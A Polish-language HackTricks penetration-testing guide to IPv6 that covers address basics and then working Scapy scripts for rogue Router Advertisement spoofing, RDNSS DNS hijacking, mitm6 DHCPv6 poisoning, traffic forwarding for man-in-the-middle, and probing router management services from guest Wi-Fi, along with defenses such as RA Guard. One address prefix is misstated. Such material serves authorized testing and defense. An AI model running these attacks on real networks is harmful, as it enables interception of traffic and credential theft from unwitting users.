Pentesting IPv6

Reading time: 13 minutes

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

IPv6 Podstawowa teoria

Sieci

Adresy IPv6 są zorganizowane w celu poprawy organizacji sieci i interakcji urządzeń. Adres IPv6 dzieli się na:

  1. Prefiks sieciowy: Początkowe 48 bitów, określające segment sieci.
  2. ID podsieci: Następne 16 bitów, używane do definiowania konkretnych podsieci w sieci.
  3. Identyfikator interfejsu: Ostatnie 64 bity, unikalnie identyfikujące urządzenie w podsieci.

Podczas gdy IPv6 pomija protokół ARP występujący w IPv4, wprowadza ICMPv6 z dwoma głównymi komunikatami:

  • Zapytanie sąsiedztwa (NS): Wiadomości multicastowe do rozwiązywania adresów.
  • Ogłoszenie sąsiedztwa (NA): Odpowiedzi unicastowe na NS lub spontaniczne ogłoszenia.

IPv6 wprowadza również specjalne typy adresów:

  • Adres loopback (::1): Odpowiednik 127.0.0.1 w IPv4, do komunikacji wewnętrznej w hoście.
  • Adresy lokalne (FE80::/10): Do lokalnych działań sieciowych, nie do routingu w internecie. Urządzenia w tej samej lokalnej sieci mogą się nawzajem odkrywać, używając tego zakresu.

Praktyczne zastosowanie IPv6 w poleceniach sieciowych

Aby interagować z sieciami IPv6, można używać różnych poleceń:

  • Ping adresy lokalne: Sprawdź obecność lokalnych urządzeń za pomocą ping6.
  • Odkrywanie sąsiedztwa: Użyj ip neigh, aby zobaczyć urządzenia odkryte na warstwie łącza.
  • alive6: Alternatywne narzędzie do odkrywania urządzeń w tej samej sieci.

Poniżej znajdują się przykłady poleceń:

bash
ping6 –I eth0 -c 5 ff02::1 > /dev/null 2>&1
ip neigh | grep ^fe80

# Alternatively, use alive6 for neighbor discovery
alive6 eth0

Adresy IPv6 mogą być wyprowadzone z adresu MAC urządzenia do komunikacji lokalnej. Oto uproszczony przewodnik, jak wyprowadzić adres Link-local IPv6 z znanego adresu MAC oraz krótki przegląd typów adresów IPv6 i metod odkrywania adresów IPv6 w sieci.

Dany adres MAC 12:34:56:78:9a:bc, możesz skonstruować adres Link-local IPv6 w następujący sposób:

  1. Przekształć MAC na format IPv6: 1234:5678:9abc
  2. Dodaj fe80:: i wstaw fffe w środku: fe80::1234:56ff:fe78:9abc
  3. Odwróć siódmy bit z lewej, zmieniając 1234 na 1034: fe80::1034:56ff:fe78:9abc

Typy adresów IPv6

  • Unique Local Address (ULA): Do komunikacji lokalnej, nieprzeznaczone do routingu w Internecie. Prefiks: FEC00::/7
  • Multicast Address: Do komunikacji jeden-do-wielu. Dostarczany do wszystkich interfejsów w grupie multicast. Prefiks: FF00::/8
  • Anycast Address: Do komunikacji jeden-do-najbliższego. Wysyłany do najbliższego interfejsu zgodnie z protokołem routingu. Część globalnego zakresu unicast 2000::/3.

Prefiksy adresów

  • fe80::/10: Adresy Link-Local (podobne do 169.254.x.x)
  • fc00::/7: Unique Local-Unicast (podobne do prywatnych zakresów IPv4, takich jak 10.x.x.x, 172.16.x.x, 192.168.x.x)
  • 2000::/3: Global Unicast
  • ff02::1: Multicast Wszystkie Węzły
  • ff02::2: Multicast Węzły Routerów

Odkrywanie adresów IPv6 w sieci

  1. Uzyskaj adres MAC urządzenia w sieci.
  2. Wyprowadź adres Link-local IPv6 z adresu MAC.

Sposób 2: Użycie Multicast

  1. Wyślij ping do adresu multicast ff02::1, aby odkryć adresy IPv6 w lokalnej sieci.
bash
service ufw stop # Stop the firewall
ping6 -I <IFACE> ff02::1 # Send a ping to multicast address
ip -6 neigh # Display the neighbor table

Ataki typu Man-in-the-Middle (MitM) w IPv6

Istnieje kilka technik wykonywania ataków MitM w sieciach IPv6, takich jak:

  • Fałszowanie reklamacji sąsiadów lub routerów ICMPv6.
  • Używanie komunikatów ICMPv6 redirect lub "Packet Too Big" do manipulacji trasowaniem.
  • Atakowanie mobilnego IPv6 (zwykle wymaga wyłączenia IPSec).
  • Ustawienie nieautoryzowanego serwera DHCPv6.

Identyfikacja adresów IPv6 w terenie

Badanie subdomen

Metoda znajdowania subdomen, które mogą być powiązane z adresami IPv6, polega na wykorzystaniu wyszukiwarek. Na przykład, zastosowanie wzoru zapytania takiego jak ipv6.* może być skuteczne. Konkretnie, następujące polecenie wyszukiwania można użyć w Google:

bash
site:ipv6./

Wykorzystanie zapytań DNS

Aby zidentyfikować adresy IPv6, można zapytać o określone typy rekordów DNS:

  • AXFR: Żąda pełnego transferu strefy, co może ujawnić szeroki zakres rekordów DNS.
  • AAAA: Bezpośrednio poszukuje adresów IPv6.
  • ANY: Szerokie zapytanie, które zwraca wszystkie dostępne rekordy DNS.

Badanie za pomocą Ping6

Po zidentyfikowaniu adresów IPv6 związanych z organizacją, można użyć narzędzia ping6 do badania. To narzędzie pomaga ocenić responsywność zidentyfikowanych adresów IPv6 i może również pomóc w odkrywaniu sąsiednich urządzeń IPv6.

Techniki ataków na lokalną sieć IPv6

Poniższe sekcje obejmują praktyczne ataki IPv6 na warstwie 2, które można wykonać w obrębie tego samego segmentu /64 bez znajomości jakiegoś globalnego prefiksu. Wszystkie pakiety pokazane poniżej są link-local i podróżują tylko przez lokalny przełącznik, co czyni je niezwykle dyskretnymi w większości środowisk.

Dostosowanie systemu do stabilnego laboratorium

Przed zabawą z ruchem IPv6 zaleca się wzmocnienie swojego systemu, aby uniknąć zanieczyszczenia własnymi testami i uzyskać najlepszą wydajność podczas masowego wstrzykiwania/podsłuchiwania pakietów.

bash
# Enable promiscuous mode to capture all frames
sudo ip link set dev eth0 promisc on

# Ignore rogue Router Advertisements & Redirects coming from the segment
sudo sysctl -w net.ipv6.conf.all.accept_ra=0
sudo sysctl -w net.ipv6.conf.all.accept_redirects=0

# Increase fd / backlog limits when generating lots of traffic
sudo sysctl -w fs.file-max=100000
sudo sysctl -w net.core.somaxconn=65535
sudo sysctl -w net.ipv4.tcp_tw_reuse=1

Pasywne sniffing NDP i DHCPv6

Ponieważ każdy host IPv6 automatycznie dołącza do wielu grup multicastowych (ff02::1, ff02::2, …) i używa ICMPv6 do SLAAC/NDP, możesz zmapować cały segment bez wysyłania pojedynczego pakietu. Poniższy jednowierszowy skrypt Python/Scapy nasłuchuje najciekawszych wiadomości L2 i drukuje kolorowy, stemplowany czasem log, kto jest kim:

python
#!/usr/bin/env python3
from scapy.all import *
from scapy.layers.dhcp6 import *
from datetime import datetime
from colorama import Fore, Style, init
import argparse

init(autoreset=True)

# Human-readable names for protocols we care about
DHCP6_TYPES = {
DHCP6_Solicit:    'Solicit',
DHCP6_Advertise:  'Advertise',
DHCP6_Request:    'Request',
DHCP6_Reply:      'Reply',
DHCP6_Renew:      'Renew',
DHCP6_Rebind:     'Rebind',
DHCP6_RelayForward:'Relay-Forward',
DHCP6_RelayReply: 'Relay-Reply'
}
ICMP6_TYPES = {
ICMPv6ND_RS:      ('Router Solicitation',  Fore.CYAN),
ICMPv6ND_RA:      ('Router Advertisement', Fore.GREEN),
ICMPv6ND_NS:      ('Neighbor Solicitation',Fore.BLUE),
ICMPv6ND_NA:      ('Neighbor Advertisement',Fore.MAGENTA),
ICMPv6ND_Redirect:('Redirect',             Fore.LIGHTRED_EX),
ICMPv6MLReport:   ('MLD Report',           Fore.LIGHTCYAN_EX),
ICMPv6MLReport2:  ('MLD Report',           Fore.LIGHTCYAN_EX),
ICMPv6MLDone:     ('MLD Done',             Fore.LIGHTCYAN_EX),
ICMPv6EchoRequest:('Echo Request',         Fore.LIGHTBLACK_EX),
ICMPv6EchoReply:  ('Echo Reply',           Fore.LIGHTBLACK_EX)
}

def handler(pkt):
eth_src = pkt[Ether].src if Ether in pkt else '?'
eth_dst = pkt[Ether].dst if Ether in pkt else '?'
ip6_src = pkt[IPv6].src if IPv6 in pkt else '?'
ip6_dst = pkt[IPv6].dst if IPv6 in pkt else '?'

# Identify protocol family first
for proto,(desc,color) in ICMP6_TYPES.items():
if proto in pkt:
break
else:
if UDP in pkt and pkt[UDP].dport == 547:  # DHCPv6 server port
for dhcp_t,name in DHCP6_TYPES.items():
if dhcp_t in pkt:
desc = 'DHCPv6 – '+name; color = Fore.YELLOW; break
else:
return  # not a DHCPv6 message we track
else:
return  # not interesting

print(color + f"[{datetime.now().strftime('%H:%M:%S')}] {desc}")
print(f"  MAC  {eth_src} -> {eth_dst}")
print(f"  IPv6 {ip6_src} -> {ip6_dst}")
print('-'*60)

if __name__ == '__main__':
argp = argparse.ArgumentParser(description='IPv6 NDP & DHCPv6 sniffer')
argp.add_argument('-i','--interface',required=True,help='Interface to sniff')
argp.add_argument('-t','--time',type=int,default=0,help='Duration (0 = infinite)')
a = argp.parse_args()
sniff(iface=a.interface,prn=handler,timeout=a.time or None,store=0)

Wynik: pełna topologia link-local (MAC ⇄ IPv6) w ciągu kilku sekund, bez wywoływania systemów IPS/IDS, które polegają na aktywnych skanach.

Fałszowanie ogłoszeń routera (RA)

Hosty IPv6 polegają na ogłoszeniach routera ICMPv6 w celu odkrywania domyślnej bramy. Jeśli wstrzykniesz sfałszowane RA częściej niż prawdziwy router, urządzenia cicho przełączą się na ciebie jako bramę.

python
#!/usr/bin/env python3
from scapy.all import *
import argparse

p = argparse.ArgumentParser()
p.add_argument('-i','--interface',required=True)
p.add_argument('-m','--mac',required=True,help='Source MAC (will be put in SrcLL option)')
p.add_argument('--llip',required=True,help='Link-local source IP, e.g. fe80::dead:beef')
p.add_argument('-l','--lifetime',type=int,default=1800,help='Router lifetime')
p.add_argument('--interval',type=int,default=5,help='Seconds between RAs')
p.add_argument('--revert',action='store_true',help='Send lifetime=0 to undo attack')
args = p.parse_args()

lifetime = 0 if args.revert else args.lifetime
ra = (IPv6(src=args.llip,dst='ff02::1',hlim=255)/
ICMPv6ND_RA(routerlifetime=lifetime, prf=0x1)/  # High preference
ICMPv6NDOptSrcLLAddr(lladdr=args.mac))

send(ra,iface=args.interface,loop=1,inter=args.interval)

Aby faktycznie przekierować ruch po wygraniu wyścigu:

bash
sudo sysctl -w net.ipv6.conf.all.forwarding=1
sudo ip6tables -A FORWARD -i eth0 -j ACCEPT
sudo ip6tables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

Flagi Reklamy Routera (M/O) i Preferencje Domyślnego Routera (Prf)

FlagaZnaczenieEfekt na zachowanie klienta
M (Zarządzana Konfiguracja Adresu)Gdy ustawiona na 1, host MUSI używać DHCPv6 do uzyskania swojego adresu IPv6.Całe adresowanie pochodzi z DHCPv6 – idealne do trucia w stylu mitm6.
O (Inna Konfiguracja)Gdy ustawiona na 1, host powinien używać DHCPv6 tylko do uzyskania innych informacji (DNS, NTP, …).Adres nadal przez SLAAC, ale DNS może być przejęty za pomocą DHCPv6.
M=0 / O=0Czysta sieć SLAAC.Możliwe są tylko sztuczki RA / RDNSS – DHCPv6 nie będzie wysyłane przez klientów.
M=1 / O=1Środowisko mieszane.Używane są zarówno DHCPv6, jak i SLAAC; powierzchnia do spoofingu jest największa.

Podczas pentestu możesz po prostu raz sprawdzić legalne RA i zdecydować, który wektor jest wykonalny:

bash
sudo tcpdump -vvv -i eth0 'icmp6 && ip6[40] == 134'   # capture Router Advertisements

Szukaj pola flags [M,O] w zrzucie – nie ma potrzeby zgadywania.

Pole Prf (Router Preference) wewnątrz nagłówka RA kontroluje, jak atrakcyjny wygląda twój fałszywy router, gdy obecnych jest wiele bramek:

Wartość PrfBinarnieZnaczenie
Wysoki10Klienci preferują ten router nad jakikolwiek Średni/Niski
Średni (domyślny)01Używany przez prawie każde legalne urządzenie
Niski00Wybierany tylko wtedy, gdy nie ma lepszego routera

Podczas generowania pakietu za pomocą Scapy możesz ustawić to przez parametr prf, jak pokazano powyżej (prf=0x1 → Wysoki). Łączenie Wysokiego Prf, krótkiego interwału i niezerowego czasu życia sprawia, że twoja fałszywa brama jest niezwykle stabilna.


Spoofing RDNSS (DNS) za pomocą RA

RFC 8106 pozwala na dodanie opcji Recursive DNS Server (RDNSS) wewnątrz RA. Nowoczesne systemy operacyjne (Win 10 ≥1709, Win 11, macOS Big Sur, Linux systemd-resolved, …) automatycznie mu ufają:

python
#!/usr/bin/env python3
from scapy.all import *
import argparse

p = argparse.ArgumentParser()
P = p.add_argument
P('-i','--interface',required=True)
P('--llip',required=True)
P('--dns',required=True,help='Fake DNS IPv6')
P('--lifetime',type=int,default=600)
P('--interval',type=int,default=5)
args = p.parse_args()

ra = (IPv6(src=args.llip,dst='ff02::1',hlim=255)/
ICMPv6ND_RA(routerlifetime=0)/
ICMPv6NDOptRDNSS(dns=[args.dns],lifetime=args.lifetime))

send(ra,iface=args.interface,loop=1,inter=args.interval)

Klienci dodają twoje DNS do swojej listy resolverów na dany czas życia, co umożliwia pełne przejęcie DNS, aż wartość wygaśnie lub wyślesz lifetime=0 w celu przywrócenia.

DHCPv6 DNS Spoofing (mitm6)

Zamiast SLAAC, sieci Windows często polegają na stateless DHCPv6 dla DNS. mitm6 automatycznie odpowiada na wiadomości Solicit za pomocą przepływu Advertise → Reply, który przypisuje twoje lokalne adresy jako DNS na 300 sekund. To odblokowuje:

  • Ataki relay NTLM (WPAD + przejęcie DNS)
  • Przechwytywanie wewnętrznego rozwiązywania nazw bez dotykania routerów

Typowe użycie:

bash
sudo mitm6 -i eth0 --no-ra # only DHCPv6 poisoning

Ochrona

  • RA Guard / DHCPv6 Guard / ND Inspection na zarządzanych przełącznikach.
  • Port ACL, które pozwalają tylko na wysyłanie RAs przez prawidłowy adres MAC routera.
  • Monitorowanie niesolidnych RAs o wysokiej częstotliwości lub nagłych zmian RDNSS.
  • Wyłączenie IPv6 na punktach końcowych to tymczasowe rozwiązanie, które często łamie nowoczesne usługi i ukrywa martwe punkty – zamiast tego preferuj filtrowanie L2.

Odkrywanie routerów NDP na SSID gościnnych/publicznych i ekspozycja usług zarządzania

Wiele routerów konsumenckich udostępnia demony zarządzania (HTTP(S), SSH/Telnet, TR-069 itp.) na wszystkich interfejsach. W niektórych wdrożeniach SSID „gościnny/publiczny” jest mostkowany do WAN/core i jest tylko IPv6. Nawet jeśli adres IPv6 routera zmienia się przy każdym uruchomieniu, można go niezawodnie poznać za pomocą NDP/ICMPv6, a następnie bezpośrednio połączyć się z płaszczyzną zarządzania z SSID gościnnego.

Typowy przepływ pracy z klienta podłączonego do SSID gościnnego/publicznego:

  1. Odkryj router za pomocą ICMPv6 Router Solicitation do multicastu All-Routers ff02::2 i przechwyć Router Advertisement (RA):
bash
# Listen for Router Advertisements (ICMPv6 type 134)
sudo tcpdump -vvv -i <IFACE> 'icmp6 and ip6[40]==134'

# Provoke an RA by sending a Router Solicitation to ff02::2
python3 - <<'PY'
from scapy.all import *
send(IPv6(dst='ff02::2')/ICMPv6ND_RS(), iface='<IFACE>')
PY

RA ujawnia lokalny adres linku routera, a często także globalny adres/prefix. Jeśli znany jest tylko lokalny adres linku, pamiętaj, że połączenia muszą określać indeks strefy, np. ssh -6 admin@[fe80::1%wlan0].

Alternatywa: użyj zestawu ndisc6, jeśli jest dostępny:

bash
# rdisc6 sends RS and prints RAs in a friendly way
rdisc6 <IFACE>
  1. Uzyskaj dostęp do wystawionych usług przez IPv6 z gościnnej sieci SSID:
bash
# SSH/Telnet example (replace with discovered address)
ssh -6 admin@[2001:db8:abcd::1]
# Web UI over IPv6
curl -g -6 -k 'http://[2001:db8:abcd::1]/'
# Fast IPv6 service sweep
nmap -6 -sS -Pn -p 22,23,80,443,7547 [2001:db8:abcd::1]
  1. Jeśli powłoka zarządzania zapewnia narzędzia do przechwytywania pakietów za pomocą wrappera (np. tcpdump), sprawdź, czy istnieje możliwość wstrzyknięcia argumentów/nazw plików, które pozwalają na przekazywanie dodatkowych flag tcpdump, takich jak -G/-W/-z, aby osiągnąć wykonanie poleceń po rotacji. Zobacz:

Wildcards Spare tricks

Obrony/notatki:

  • Nie łącz zarządzania z mostami gościnnymi/publicznymi; stosuj zapory IPv6 na mostach SSID.
  • Ograniczaj i filtruj NDP/RS/RA na segmentach gościnnych, gdzie to możliwe.
  • Dla usług, które muszą być dostępne, egzekwuj authN/MFA i silne ograniczenia prędkości.

Odniesienia

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks